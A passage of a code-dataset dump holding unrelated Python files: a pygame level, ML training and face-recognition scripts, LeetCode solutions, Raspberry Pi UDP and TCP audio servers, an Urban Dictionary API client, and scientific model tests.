pygame.image.fromstring(raw_data, wh, \"RGB\")\n\n def draw_states(self, screen):\n if self.goal_state_show:\n self.goal_state_surface = self.plot_sphere(self.goal_state)\n if self.state_needs_update:\n self.state_surface = self.plot_sphere(self.current_state)\n goal_state_x = (WIDTH + len(self.inventory) * 64) // 2\n current_state_x = (WIDTH - len(self.inventory) *\n 64) // 2 - self.state_surface.get_width()\n y_position = HEIGHT - 264\n screen.blit(self.goal_state_surface, (goal_state_x, y_position))\n screen.blit(self.state_surface, (current_state_x, y_position))\n self.goal_state_show = False\n self.state_needs_update = False\n screen.blit(self.pacz, (689, 1006))\n screen.blit(self.pacz, (1308, 1001))\n font = pygame.font.Font(font_file, 24)\n state_text = font.render(\"Current state >\", True, MAGENTA)\n goal_text = font.render(\"< Goal state\", True, GREEN)\n state_text_x = current_state_x - self.state_surface.get_width()\n goal_text_x = goal_state_x + self.goal_state_surface.get_width()\n screen.blit(state_text, (state_text_x, HEIGHT - 160))\n screen.blit(goal_text, (goal_text_x, HEIGHT - 160))\n plt.close()\n\n def draw_poison_bar(self, screen):\n progress_bar_width = 255\n progress_bar_height = 20\n progress_bar_x = (WIDTH - progress_bar_width) // 2\n progress_bar_y = 30\n pygame.draw.rect(screen, WHITE, (progress_bar_x - 2, progress_bar_y -\n 2, progress_bar_width + 4, progress_bar_height + 4))\n pygame.draw.rect(screen, GREEN, (progress_bar_x,\n progress_bar_y, self.poison_alpha, progress_bar_height))\n\n def update_poison_color(self):\n self.poison_alpha += 0.2\n self.poison.set_alpha(self.poison_alpha)\n\n def is_completed(self, screen):\n decimal_places = 3\n current_state_rounded = np.round(\n self.current_state, decimals=decimal_places)\n goal_state_rounded = np.round(self.goal_state, decimals=decimal_places)\n\n is_completed = (len(self.gates) <= 0 and\n all(v is None for v in self.inventory) and\n np.all(current_state_rounded == goal_state_rounded))\n\n if is_completed:\n font = pygame.font.Font(font_file, 24)\n current_state_x = (WIDTH - len(self.inventory)\n * 64) // 2 - self.state_surface.get_width()\n state_text = font.render(\"Current state >\", True, GREEN)\n state_text_x = current_state_x - self.state_surface.get_width()\n screen.blit(state_text, (state_text_x, HEIGHT - 160))\n\n return is_completed\n","repo_name":"agolebiowska/out-of-the-box","sub_path":"level.py","file_name":"level.py","file_ext":"py","file_size_in_byte":7727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11020041227","text":"\"\"\"Checkpoint averaging script.\"\"\"\n\nimport argparse\n\nimport tensorflow as tf\n\nfrom opennmt.utils.checkpoint import average_checkpoints\n\n\ndef main():\n tf.logging.set_verbosity(tf.logging.INFO)\n\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"--model_dir\", required=True,\n help=\"The model directory containing the checkpoints.\")\n parser.add_argument(\"--output_dir\", required=True,\n help=\"The output directory where the averaged checkpoint will be saved.\")\n parser.add_argument(\"--max_count\", type=int, default=8,\n help=\"The maximal number of checkpoints to average.\")\n args = parser.parse_args()\n average_checkpoints(args.model_dir, args.output_dir, max_count=args.max_count)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"iriscxy/VMSMO","sub_path":"opennmt/bin/average_checkpoints.py","file_name":"average_checkpoints.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"67"} +{"seq_id":"28908299204","text":"class Solution:\n def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:\n self.result = []\n self.target = target\n self.choicd = [ i for i in candidates if i <= target]\n for i in self.choicd:\n self.backtrace([i], self.choicd, i)\n \n return self.result\n \n def backtrace(self, trace, choice, S):\n if S == self.target:\n t = sorted(trace)\n if t not in self.result:\n self.result.append(t)\n elif S < self.target:\n for i in choice:\n self.backtrace(trace+[i], choice, S+i)\n \nclass Solution:\n def combinationSum(self, candidates: List[int], target: int) -> List[List[int]]:\n list_len = len(candidates)\n if list_len == 0:\n return []\n candidates.sort()\n result = []\n def helper(i,tmp,target):\n if target == 0:\n result.append(tmp)\n return\n if i == list_len or target < candidates[i]:\n return\n helper(i,tmp+[candidates[i]],target-candidates[i])\n helper(i+1,tmp,target)\n helper(0,[],target)\n return result\n \n","repo_name":"longhao54/leetcode","sub_path":"normal/39.py","file_name":"39.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40874963259","text":"import socket\nimport RPi.GPIO as GPIO\n\n\nUDP_IP = \"172.24.143.104\"\nUDP_PORT = 9900\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.bind((UDP_IP, UDP_PORT))\n\n# Sets naming convention for pins\nGPIO.setmode(GPIO.BCM)\n\n# Prevent warnings from printing, who needs 'em!\nGPIO.setwarnings(False)\n\n# Set GPIO pins as outputs\nGPIO.setup(18,GPIO.OUT)\nGPIO.setup(10,GPIO.OUT)\n\nengage=1\nGPIO.output(18,GPIO.HIGH)\nGPIO.output(10,GPIO.LOW)\n\nwhile True:\n\t#listen to port for package\n\tdata = sock.recv(1024)\n\tprint (data)\n\tif data == \"ENGAGE\":\n\t\t# rec LED on\n\t\tGPIO.output(18,GPIO.LOW)\n\t\t# standby LED off\n\t\tGPIO.output(10,GPIO.HIGH)\n\t\tengage = 0\n\t\t# Delay for testing purposes\n\t\t# time.sleep(1)\n\n\telif data == \"DISENGAGE\":\n\t\t# rec LED off\n\t\tGPIO.output(18,GPIO.HIGH)\n\t\t# standby LED on\n\t\tGPIO.output(10,GPIO.LOW)\n\t\tengage = 1\n\t\t# Delay for testing porpoises\n\t\t# time.sleep(1)\n\n\telse:\n\t\tGPIO.output(18,GPIO.HIGH)\n\t\tGPIO.output(10,GPIO.HIGH)\n","repo_name":"sirebellum/Audio-Stream","sub_path":"led.py","file_name":"led.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71823885335","text":"import socket\nimport logging\nimport os\nimport time\n\nlogging.basicConfig(\n level = logging.INFO, \n format = '[%(levelname)s] (%(processName)-10s) %(message)s'\n )\n\nclass servidor_tcp(object):\n #def __init__(self,tamaño_audio,bandera_envio_recepcion):\n def __init__(self):\n self.IP_ADDR = '167.71.243.238' #La IP donde desea levantarse el server\n #self.IP_ADDR = '127.0.0.1' \n self.IP_ADDR_ALL = '' #PJAM En caso que se quiera escuchar en todas las interfaces de red\n self.IP_PORT = 9825 ##PJAM Puerto al que deben conectarse los clientes\n self.BUFFER_SIZE = 64 * 1024 ##PJAM Bloques de 64 KB\n\n def configuracion_socket(self,tamaño_audio,bandera_envio_recepcion):\n self.bandera_envio_recepcion = int(bandera_envio_recepcion)\n self.tamaño_audio = int(tamaño_audio)\n \n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ##PJAM Crea un socket TCP\n ##PJAM Bind the socket to the port\n serverAddress = (self.IP_ADDR, self.IP_PORT) ##PJAM Escucha en todas las interfaces\n logging.info('Iniciando servidor en {}, puerto {}'.format(*serverAddress))\n self.sock.bind(serverAddress) ##PJAM Levanta servidor con parametros especificados\n logging.debug(\"LLEGA A LA COMPARACION\")\n\n if self.bandera_envio_recepcion == 1:\n self.recepcion_archivos()\n elif self.bandera_envio_recepcion == 2:\n self.envio_archivos()\n\n def recepcion_archivos(self): ##PJAM Habilita la escucha del servidor en las interfaces configuradas\n \n self.sock.listen(10) ##PJAM El argumento indica la cantidad de conexiones en cola\n data = b''\n while True:\n ##PJAM Esperando conexion\n logging.info('Esperando conexion remota')\n connection, clientAddress = self.sock.accept()\n try:\n logging.info('Conexion establecida desde: ' + str(clientAddress))\n\n ##PJAM Se envia informacion en bloques de BUFFER_SIZE bytes\n ##PJAM y se espera respuesta de vuelta\n\n while True:\n data += connection.recv(self.BUFFER_SIZE)\n tamaño_recepcion = str(len(data))\n binario_tamaño_recepcion = tamaño_recepcion.encode()\n logging.info('Recibido:' + str(tamaño_recepcion))\n if data: ##PJAM Si se reciben datos (o sea, no ha finalizado la transmision del cliente)\n logging.debug('Enviando tamaño de audio recibido')\n connection.sendall(binario_tamaño_recepcion)\n else:\n logging.debug('Transmision finalizada desde el cliente ' + str(clientAddress))\n break\n \n except KeyboardInterrupt:\n self.sock.close()\n\n finally:\n # Se baja el servidor para dejar libre el puerto para otras aplicaciones o instancias de la aplicacion\n connection.close()\n break\n self.audio_bits = data\n logging.info(len(self.audio_bits))\n self.Reconstruccion_audio(self.audio_bits)\n\n def envio_archivos(self):\n logging.debug(\"ENTRA A TRANSPORTE ARCHIVOS\")\n self.sock.listen(10)\n binario1=b''\n a=1\n #valores = []\n while True:\n logging.info('Esperando conexion remota')\n connection, clientAddress = self.sock.accept()\n try:\n logging.debug('ENTRA EN TRY')\n logging.info('Conexion establecida desde: ' + str(clientAddress))\n\n f=open(self.direccion_audio_recibido, \"rb\")\n logging.info(\"LLEGA ANTES DEL WHILE\")\n while a==1:\n binario=f.read(self.BUFFER_SIZE)\n if binario:\n binario1+=binario\n connection.sendall(binario)\n else:\n a=2\n tamaño_audio_enviado = str(len(binario1))\n logging.debug(\"TAMAÑO DE ADUDIO ENVIADO: \"+ tamaño_audio_enviado)\n\n logging.info(\"AUDIO ENVIADO\")\n finally:\n # Se baja el servidor para dejar libre el puerto para otras aplicaciones o instancias de la aplicacion\n connection.close()\n break\n \n def Reconstruccion_audio(self,audio_bits):\n logging.debug(len(audio_bits))\n \n nombre_archivo= \"AUDIO_RECIBIDO.wav\"\n\n path_to_script = os.path.dirname(os.path.abspath(__file__)) #PJAM instrucción que devuelve la dirección de este archivo\n self.direccion_audio_recibido = os.path.join(path_to_script, nombre_archivo) \n\n q= open(self.direccion_audio_recibido,'wb')\n q.write(audio_bits)\n logging.debug(type(q))\n q.close()\n \n \n\n\n#bandera_envio_recepcion = 1\n\n#tcp = servidor_tcp(bandera_envio_recepcion)\n#time.sleep(5)\n\n#tcp.configuracion_socket(2)\n\n\n","repo_name":"usac201503914/examenfinal","sub_path":"SERVIDOR/serverTCP.py","file_name":"serverTCP.py","file_ext":"py","file_size_in_byte":5321,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70137714774","text":"from numpy import load\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.preprocessing import Normalizer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.ensemble import StackingClassifier\nfrom sklearn import svm\nfrom random import choice\nfrom numpy import load\nfrom numpy import expand_dims\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport datetime\nfrom info_logging import log\nfrom PIL import Image\nimport pickle\nimport os\n\n#load model\nfilename = 'finalized_model.sav'\nmodel = pickle.load(open(filename, 'rb'))\n\ndata = load('Image_DataSet_100_Processed-embeddings.npz')\ntrainX, trainy, testX, testy = data['arr_0'], data['arr_1'], data['arr_2'], data['arr_3']\nlog('Shape of training data :: '+str(trainX.shape[0])+\" & shape of test data :: \"+ str(testX.shape[0]))\n# normalize input vectors\nin_encoder = Normalizer(norm='l2')\ntrainX = in_encoder.transform(trainX)\ntestX = in_encoder.transform(testX)\n# label encode targets\nout_encoder = LabelEncoder()\nout_encoder.fit(trainy)\ntrainy = out_encoder.transform(trainy)\ntesty = out_encoder.transform(testy)\n\n#load faces train\ndata = load('Image_DataSet_100_Processed.npz')\ntrainX_faces = data['arr_0']\n\nos.mkdir('Corrupted Images')\n\nfor selection in range(trainX.shape[0]):\n #selection = choice([i for i in range(trainX.shape[0])])\n print(selection)\n random_face_pixels = trainX_faces[selection]\n random_face_emb = trainX[selection]\n random_face_class = trainy[selection]\n random_face_name = out_encoder.inverse_transform([random_face_class])\n # prediction for the face\n samples = expand_dims(random_face_emb, axis=0)\n yhat_class = model.predict(samples)\n yhat_prob = model.predict_proba(samples)\n # get name\n class_index = yhat_class[0]\n class_probability = yhat_prob[0,class_index] * 100\n predict_names = out_encoder.inverse_transform(yhat_class)\n #log('Predicted :: '+str (predict_names[0]) + ' Expected :: '+str (random_face_name[0]))\n if (predict_names[0] != random_face_name[0]):\n im = Image.fromarray(random_face_pixels.astype(np.uint8));\n file_name = 'Corrupted Images\\\\' + random_face_name[0]+str(selection)+\"tr.jpg\"\n log(str(file_name))\n im.save(file_name) \n\t\t\nlog(\"Script 2.2 Ended at :: \"+str(datetime.datetime.now()))\n\n# load faces test\ndata = load('Image_DataSet_100_processed.npz')\ntestX_faces = data['arr_2']\n\nfor selection in range(testX.shape[0]):\n #selection = choice([i for i in range(testX.shape[0])])\n print(selection)\n random_face_pixels = testX_faces[selection]\n random_face_emb = testX[selection]\n random_face_class = testy[selection]\n random_face_name = out_encoder.inverse_transform([random_face_class])\n # prediction for the face\n samples = expand_dims(random_face_emb, axis=0)\n yhat_class = model.predict(samples)\n yhat_prob = model.predict_proba(samples)\n # get name\n class_index = yhat_class[0]\n class_probability = yhat_prob[0,class_index] * 100\n predict_names = out_encoder.inverse_transform(yhat_class)\n #log('Predicted :: '+str (predict_names[0]) + ' Expected :: '+str (random_face_name[0]))\n if (predict_names[0] != random_face_name[0]):\n im = Image.fromarray(random_face_pixels.astype(np.uint8))\n file_name = 'Corrupted Images\\\\' +random_face_name[0]+str(selection)+\"ts.jpg\"\n log(str(file_name))\n im.save(file_name)\n\nlog(\"Script 2.2 Ended at :: \"+str(datetime.datetime.now()))\n","repo_name":"gaurav82692/Face_detection_stack_svm","sub_path":"corrupted_image.py","file_name":"corrupted_image.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72453504214","text":"from pkg_resources import get_distribution, DistributionNotFound\nimport os\nimport ast\n\nimport arguing\nimport classify_imports\n\n\nclass Import(ast.NodeVisitor):\n\n def __init__(self):\n self.packages = []\n\n def visit_Import(self, node):\n if node.__class__.__name__ == 'Import':\n package = node.names[0].name\n\n self.packages.append(package)\n\n self.generic_visit(node)\n\n def visit_ImportFrom(self, node):\n self.packages.append(node.module)\n self.generic_visit(node)\n\n\ndef main():\n added = 0\n file = arguing.set('--file', mandatory=True)\n output = arguing.set('--output', default='requirements.txt')\n\n # Check file.\n if not os.path.exists(file):\n exit(f'- \"{file}\" does not exists.')\n\n # Main:\n with open(file, 'r') as file:\n parsed = ast.parse(file.read())\n\n output_file = open(output, 'w')\n visitor = Import()\n\n visitor.visit_Import(parsed)\n\n for package in visitor.packages:\n package = package.split('.')\n name = package[0]\n classification = classify_imports.classify_base(name)\n\n if classification == 'THIRD_PARTY' and len(package) == 1:\n try:\n version = get_distribution(name)\n\n output_file.write(f'{name}=={version.version}\\n')\n\n except DistributionNotFound:\n output_file.write(f'{name}\\n')\n\n added += 1\n\n print(f'+ {len(visitor.packages)} packages, {added} added to {output}.')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ZSendokame/depheaven","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40763642995","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\"\nBox-muller算法\n\"\"\"\nn = 100000\nr, theta = np.random.random((2, n))\ntheta *= 2 * np.pi\nr = np.sqrt(-2 * np.log(1 - r))\n# a = np.concatenate((r * np.sin(theta), r * np.cos(theta)))\na = r * np.sin(theta) # 即便只取一般也是对的\nplt.hist(a, bins=100)\nplt.show()\n","repo_name":"weiyinfu/GaussDistribution","sub_path":"高斯分布/35-生成高斯分布.py","file_name":"35-生成高斯分布.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31738539660","text":"# print('1')\n# print('2')\n# print('3')\n# print('4')\n# print('5')\n\n# while\ni = 1\nwhile (i <= 5):\n print(i)\n i += 1\n\n if (i == 3):\n break\n\n# for loop\nanimals = ['cat','dog','bear']\nprint(animals)\n\nfor animal in animals:\n print(animal.upper())\n\nindex = 0\nwhile index<len(animals):\n print(animals[index])\n index += 1\n\n# range()\nfor num in range(5):\n print(num)\n\nfor num in range(1,3):\n print(num)\n\nfor num in range(1, 10, 3):\n print(num)\n","repo_name":"shawntan459/WorldSkills-Shawn","sub_path":"myPython/09_loop.py","file_name":"09_loop.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1134417735","text":"from dismal.blocks import gff3_to_blocks\nfrom dismal.callset import CallSet\nimport pandas as pd\nimport numpy as np\nfrom pathlib import Path\n\n\ngff3_path = f\"{Path(__file__).parent.parent.resolve()}/test_data/brenthis_head1000.gff3\"\nblocklen = 100\nld_dist = 10000\nblocks_df = gff3_to_blocks(gff3_path, blocklen=blocklen, min_block_distance=ld_dist)\n\ndef test_gff3_to_blocks_correct_columns():\n assert (blocks_df.columns == [\"chr\", \"start\", \"end\", \"block_id\"]).all()\n\n\ndef test_gff3_to_blocks_contains_blocks():\n assert len(blocks_df) > 0\n\n\ndef test_gff3_to_blocks_has_blocks_of_correct_length():\n blocksizes = blocks_df[\"end\"] - blocks_df[\"start\"]\n assert (blocksizes == blocklen).all()\n\n\ndef test_gff3_to_blocks_filters_ld():\n for chr in blocks_df[\"chr\"].unique():\n chr_blocks = blocks_df[blocks_df[\"chr\"] == chr]\n assert (chr_blocks[\"start\"].diff()[1:] > ld_dist + blocklen).all() # zeroth element evals to False since no block before","repo_name":"simonharnqvist/DISMaL","sub_path":"tests/test_blocks.py","file_name":"test_blocks.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4850835656","text":"\"\"\"\nUrbanPyctionary: the Python Urban Dictionary Client\n(c) Chris von Csefalvay, 2015.\n\nclient.py\nDeclares various objects that wrap concepts in the API wrapper.\n\"\"\"\n\n__version__ = \"0.86\"\n\nfrom datetime import datetime\nimport requests\nimport pprint\nfrom urbanpyctionary import errors\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nclass Browsable(object):\n\n def browse(self):\n pprint.PrettyPrinter(indent=4).pprint(self.result)\n\n\nclass Definition(Browsable):\n \"\"\"\n A class representing the definition of a term.\n \"\"\"\n def __init__(self, definition, time_acquired=None):\n \"\"\"\n Inits a class representing the definition of a term.\n\n :param definition: A dict containing the API return\n :type definition: dict\n :param time_acquired: Date/time object of acquisition, normally inherited from parent Result object\n :type time_acquired: datetime\n \"\"\"\n\n self.result = definition\n self.defid = definition[\"defid\"]\n self.word = definition[\"word\"]\n self.author = definition[\"author\"]\n self.permalink = definition[\"permalink\"]\n self.definition = definition[\"definition\"]\n self.example = definition[\"example\"]\n self.thumbs_up = definition[\"thumbs_up\"]\n self.thumbs_down = definition[\"thumbs_down\"]\n self.time_acquired = time_acquired\n\n def __repr__(self):\n return(\"<urbanpyctionary Definition %i for %s>\" % (self.defid, self.word))\n\n\n def __str__(self):\n return(bcolors.UNDERLINE + bcolors.OKBLUE + \"{word} ({defid}, by {author} - {up} up, {down} down).\".format(word = self.word,\n defid = self.defid,\n author = self.author,\n up = self.thumbs_up,\n down = self.thumbs_down) +\n bcolors.ENDC + bcolors.ENDC +\"\\n\"+\n bcolors.OKGREEN + self.definition + bcolors.ENDC + \"\\n\" +\n bcolors.UNDERLINE + \"\\nExample:\\n\" + bcolors.ENDC + bcolors.OKBLUE + self.example + bcolors.ENDC + \"\\n(permalink: \" +\n bcolors.UNDERLINE + bcolors.OKBLUE + self.permalink + bcolors.ENDC + bcolors.ENDC + \")\")\n\n\nclass Result(Browsable):\n \"\"\"\n A class representing a result set.\n \"\"\"\n def __init__(self, result_object):\n self.result = result_object\n if len(result_object) < 1:\n raise errors.IncorrectResultSetError\n\n try:\n self.tags = result_object[\"tags\"]\n self.result_type = result_object[\"result_type\"]\n self.sounds = result_object[\"sounds\"]\n self.time_acquired = datetime.now()\n self.definitions = [Definition(json_object, self.time_acquired) for json_object in result_object[\"list\"]]\n self.word = self.definitions[0].word\n except KeyError:\n raise errors.IncorrectResultSetError\n\n def __repr__(self):\n return(\"<urbanpyctionary Result for %s>\" % self.word)\n\n def __getitem__(self, item):\n return self.definitions[item]\n\n def __len__(self):\n return len(self.definitions)\n\n\nclass Client(object):\n def __init__(self, API_key=None):\n try:\n if len(API_key) is 50 and isinstance(API_key, str) and API_key != None:\n self.api_key = API_key\n else:\n raise errors.MalformedAPIKey\n except TypeError:\n raise errors.MalformedAPIKey\n\n def __repr__(self):\n return(\"<urbanpyctionary Client object>\")\n\n def get(self, word):\n \"\"\"\n Obtains the definition of a word from Urban Dictionary.\n\n :param word: word to be searched for\n :type word: str\n :return: a result set with all definitions for the word\n \"\"\"\n\n url = \"https://mashape-community-urban-dictionary.p.mashape.com/define?term=%s\" % word\n\n try:\n res = requests.get(url,\n headers = {\"X-Mashape-Key\": self.api_key,\n \"Accept\": \"text/plain\"})\n except requests.ConnectionError:\n raise errors.ConnectionError\n\n if res.status_code == 200:\n if res.json()[\"result_type\"] == 'no_results':\n raise errors.NoResultsError\n else:\n return Result(res.json())\n else:\n if res.status_code == 403:\n raise errors.APIUnauthorizedError","repo_name":"chrisvoncsefalvay/urbanpyctionary","sub_path":"urbanpyctionary/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4896,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"6193231802","text":"import pytest\n\nfrom rose.model.utils import *\nfrom rose.model.model_part import RodElementModelPart,TimoshenkoBeamElementModelPart, ElementModelPart\nfrom rose.model.geometry import Element\n\nimport numpy as np\n\nclass TestUtils:\n\n @pytest.mark.parametrize(\"node1, node2, expected_rotation\",[\n pytest.param(Node(0, 0, 0), Node(0, 0, 0), 0),\n pytest.param(Node(0, 0, 0), Node(1,0,0), 0),\n pytest.param(Node(0, 0, 0), Node(0, 1, 0), 0.5 * np.pi),\n pytest.param(Node(0, 0, 0), Node(-1, 0, 0), np.pi),\n pytest.param(Node(0, 0, 0), Node(0, -1, 0), -0.5 * np.pi),\n pytest.param(Node(0, 0, 0), Node(1, 1, 0), np.pi/4),\n pytest.param(Node(0, 0, 0), Node(-1, 1, 0), 3 * np.pi / 4),\n pytest.param(Node(0, 0, 0), Node(-1, -1, 0), 5 * np.pi / 4),\n pytest.param(Node(0, 0, 0), Node(1, -1, 0), -np.pi / 4),\n ]\n )\n def test_calculate_rotation(self, node1, node2, expected_rotation):\n \"\"\"\n Checked rotation between 2 nodes\n :param node1:\n :param node2:\n :param expected_rotation:\n :return:\n \"\"\"\n assert expected_rotation == pytest.approx(calculate_rotation(node1.coordinates[None,:], node2.coordinates[None,:]))\n\n def test_reshape_aux_matrix(self):\n rod = RodElementModelPart()\n\n rod.stiffness = 1\n rod.initialize()\n aux_matrix = rod.aux_stiffness_matrix\n reshaped_aux_matrix = reshape_aux_matrix(2, [True, False, False], aux_matrix)\n\n expected_aux_matrix = np.zeros((6,6))\n expected_aux_matrix[0, 0] = 1\n expected_aux_matrix[3, 3] = 1\n expected_aux_matrix[0, 3] = -1\n expected_aux_matrix[3, 0] = -1\n\n for i in range(len(expected_aux_matrix)):\n for j in range(len(expected_aux_matrix[i])):\n assert expected_aux_matrix[i,j] == pytest.approx(reshaped_aux_matrix[i,j])\n\n\n def test_rotate_aux_matrix_no_rotation(self):\n \"\"\"\n Checks a 0 degrees rotated rod aux matrix\n :return:\n \"\"\"\n\n rod = RodElementModelPart()\n rod.stiffness = 1\n rod.initialize()\n\n element = Element([Node(0, 0, 0), Node(1, 0, 0)])\n\n aux_matrix = rod.aux_stiffness_matrix\n aux_matrix = reshape_aux_matrix(2, [True, False, False], aux_matrix)\n\n rotated_matrix = rotate_aux_matrix(element, rod, aux_matrix )\n\n expected_aux_matrix = np.zeros((6, 6))\n expected_aux_matrix[0, 0] = 1\n expected_aux_matrix[3, 3] = 1\n expected_aux_matrix[0, 3] = -1\n expected_aux_matrix[3, 0] = -1\n\n for i in range(len(expected_aux_matrix)):\n for j in range(len(expected_aux_matrix[i])):\n assert expected_aux_matrix[i, j] == pytest.approx(rotated_matrix[i, j])\n\n def test_rotate_aux_matrix_90_rotation(self):\n \"\"\"\n Checks a 90 degrees rotated rod aux matrix\n :return:\n \"\"\"\n rod = RodElementModelPart()\n rod.stiffness = 1\n rod.initialize()\n\n element = Element([Node(0, 0, 0), Node(0, 1, 0)])\n\n aux_matrix = rod.aux_stiffness_matrix\n aux_matrix = reshape_aux_matrix(2, [True, False, False], aux_matrix)\n\n rotated_matrix = rotate_aux_matrix(element, rod, aux_matrix)\n\n expected_aux_matrix = np.zeros((6, 6))\n expected_aux_matrix[1, 1] = 1\n expected_aux_matrix[4, 4] = 1\n expected_aux_matrix[1, 4] = -1\n expected_aux_matrix[4, 1] = -1\n\n for i in range(len(expected_aux_matrix)):\n for j in range(len(expected_aux_matrix[i])):\n assert expected_aux_matrix[i, j] == pytest.approx(rotated_matrix[i, j])\n\n def test_rotate_aux_matrix_135_rotation(self):\n \"\"\"\n Checks a 135 degrees rotated rod aux matrix\n :return:\n \"\"\"\n\n # initialise rod element\n rod = RodElementModelPart()\n rod.stiffness = 1\n rod.initialize()\n element = Element([Node(0, 0, 0), Node(-1, 1, 0)])\n\n aux_matrix = rod.aux_stiffness_matrix\n\n # reshape aux matrix\n aux_matrix = reshape_aux_matrix(2, [True, False, False], aux_matrix)\n\n # rotate aux matrix\n rotated_matrix = rotate_aux_matrix(element, rod, aux_matrix)\n\n # set up expected matrix\n expected_aux_matrix = np.zeros((6, 6))\n expected_aux_matrix[[0, 1, 3, 4], [0, 0, 0, 0]] = [0.5, 0.5, -0.5, -0.5]\n expected_aux_matrix[[0, 1, 3, 4], [1, 1, 1, 1]] = [0.5, 0.5, -0.5, -0.5]\n expected_aux_matrix[[0, 1, 3, 4], [3, 3, 3, 3]] = [-0.5, -0.5, 0.5, 0.5]\n expected_aux_matrix[[0, 1, 3, 4], [4, 4, 4, 4]] = [-0.5, -0.5, 0.5, 0.5]\n\n # assert rotated aux matrix\n for i in range(len(expected_aux_matrix)):\n for j in range(len(expected_aux_matrix[i])):\n assert expected_aux_matrix[i, j] == pytest.approx(rotated_matrix[i, j])\n\n def test_rotate_aux_matrix_without_existing_rot_matrix(self):\n\n # Create non existing element model part\n test_element = ElementModelPart()\n test_element.aux_stiffness_matrix = np.zeros((9,9))\n test_element.elements = [Element([Node(0, 0, 0), Node(-1, 1, 0), Node(1, 1, 0)])]\n\n # fill arbitrary aux_matrix\n k = 0\n for i in range(len(test_element.aux_stiffness_matrix)):\n for j in range(len(test_element.aux_stiffness_matrix[i])):\n k += 1\n test_element.aux_stiffness_matrix[i,j] = k\n expected_matrix = copy.copy(test_element.aux_stiffness_matrix)\n\n # rotate matrix\n rotated_matrix = rotate_aux_matrix(test_element.elements[0],\n test_element, test_element.aux_stiffness_matrix)\n\n # Check if aux matrix has not changed\n for i in range(len(expected_matrix)):\n for j in range(len(expected_matrix[i])):\n assert expected_matrix[i, j] == pytest.approx(rotated_matrix[i,j])\n\n def test_rotate_force_vector_30_rotation(self):\n beam = TimoshenkoBeamElementModelPart()\n beam.length_element = 1\n beam.mass = 1\n\n element = Element([Node(0,0,0), Node(np.sqrt(3)/2, 0.5,0)])\n # test_element.elements = [Element([Node(0,0,0), Node(np.sqrt(3)/2, 0.5,0)])]\n\n # global force vector\n force_vector = np.array([-1000,0000,0])\n\n # calculate element rotation\n rot = calculate_rotation(element.nodes[0].coordinates[None,:], element.nodes[1].coordinates[None,:])\n\n # calculate rotated force vector\n rotated_vector = rotate_point_around_z_axis([rot],force_vector[None,:])[0]\n\n # define expected rotated force vector\n expected_force_vector = np.array([-np.sqrt(3)*1000/2,500,0])\n\n # assert\n np.testing.assert_array_almost_equal(rotated_vector,expected_force_vector)\n\n\n\n","repo_name":"PlatypusBytes/ROSE","sub_path":"tests/test_model_utils.py","file_name":"test_model_utils.py","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"6798944337","text":"\"\"\"\n04-more-training\nauthor: @maximellerbach\n\"\"\"\n\nimport glob\nimport json\nimport os\n\nimport cv2\nimport numpy as np\nfrom tensorflow.keras.utils import Sequence\n\n\ndef load_image_and_json(img_path, json_path):\n \"\"\"\n Load the image using img_path, load the json data using json_path,\n return both as a tuple (image, json_data)\n \"\"\"\n img = cv2.imread(img_path)\n\n with open(os.path.normpath(json_path), \"r\") as json_file:\n json_data = json.load(json_file)\n\n return img, json_data\n\n\nclass DataGenerator(Sequence):\n def __init__(\n self,\n data_directory,\n transform_funcs,\n batch_size=32,\n ):\n \"\"\"Init of the class.\n\n Args:\n data_directory (list): list or list of list of json_paths to train on.\n batch_size (int, optional): _description_. Defaults to 64.\n transform_funcs (list): list of data augm funcs of prototype: (image, label) -> (image, label)\n\n Raises:\n ValueError: directory should be non-empty\n\n Be carefull to check that the number of images and json files match !\n You can also check that the name of the images and json files match.\n \"\"\"\n self.transform_funcs = transform_funcs\n\n self.batch_size = batch_size\n self.image_paths = glob.glob(os.path.join(data_directory, \"*.png\"))\n self.json_paths = glob.glob(os.path.join(data_directory, \"*.json\"))\n assert len(self.image_paths) > 0, \"no images in directory were found\"\n 